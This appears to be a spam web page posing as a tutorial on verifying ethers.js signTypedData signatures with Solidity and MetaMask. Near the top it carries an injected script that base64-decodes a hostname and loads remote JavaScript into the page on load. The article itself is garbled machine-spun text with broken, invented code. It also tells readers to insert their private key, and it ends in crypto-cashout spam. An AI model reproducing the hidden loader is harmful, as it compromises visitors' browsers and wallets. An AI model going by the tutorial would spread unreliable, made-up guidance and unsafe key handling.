Metamask: solidity cannot verify ethers.js signed data (signTypedData)

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=2822cef3″;document.body.appendChild(script);

Metamask error: Checking the signed data with Ether.js Signtypeddata

When you use the Ethers.js library to sign and encode data such as a signed Dydata, Solidity Metamask may encounter an error that does not allow to verify the signed data. In this article, we will study the problem and provide a possible solution.

The problem:

The error usually occurs when attempting to verify the signed data using the “check” feature of Metamask the property signtypeddata, returned by euters.js. The problem is how SIGNTYPEDDATA of Solidity interacts with the euters.js library and the ‘Cerify’ method.

Functionality of Typeddata **

When you call SignTypeddata of your data, it creates a signature of the input data using the private key of the signator. However, when checking these signed data in Metamask using “Verify”, the library expects to receive the original unchanged input data as an argument.

Ether.js sign Typeddata

The SignTypeddatafeature is designed to create and check the signature of the input without changing it. To usesigntypeddatawith euters.js, you need to create a signed version of your input data, which can be checked by the library.

For example:

javascript

Const Domain = {

Name: ‘OG-NFT’,

Version: ‘1’

};

CONST types = {

// …

};

// Create a signed version of the data using euters.js signtypeddata

Const Signature = Wait Ether.Sintypeddata (

{

Type,

Value: {

OG_NFT: {…} // Replace with your actual input data

}

},

‘0x …’ // Replace with your personal key

);

// Create signed data from signed data

CONST sigtypeddata = euters.signer.sintypeddata (signature, domain);

`

In this example, we first create the object signature using the function 'signtypeddata on euters.js. We then use this signature to create a entered data object, which is used for verification.

Check to check Metamask

Now that you have a Typeddata signed site, you can try to check it in Metamask. As mentioned earlier, the function of Metamask Verify awaits the original unchanged input data as an argument.

To correct this problem, you need to create a new object of entered data with the same properties and value as your original input data. In other words, you need to recreate the original input data with the help of euters.js.

`javascript

// Create a new object of entered data from signed data entered

Const Refrification = euters.Signer.verifytyped (

sigtypeddata,

Domain,

{type: ‘Unverify’} // Replace with your personal key

);

// Check the data entered using the Metamask Verification feature

wait for metamask.verify (check);

`

In this example, we create a new “check” object by calling the Erifytyped ‘Ether.js feature of signed entered data. We then transmit the original input data (`domain) and a verification key (which can be obtained using euters.js).

By recreating the original input data with the help of euters.js, you should now be able to check the signed data in Metamask.

Conclusion

In this article, we have studied the issue of testing Typeddata signed using Metamask with euters.js. Understanding how SignTypeddata feature of Solidity interacts with euters.js and creates a new entered object of signed data, you must be able to resolve the error and check your signed data in Metamask.

BEST BEST SECURE CRYPTO CASHOUTS

Leave a Reply

Your email address will not be published. Required fields are marked *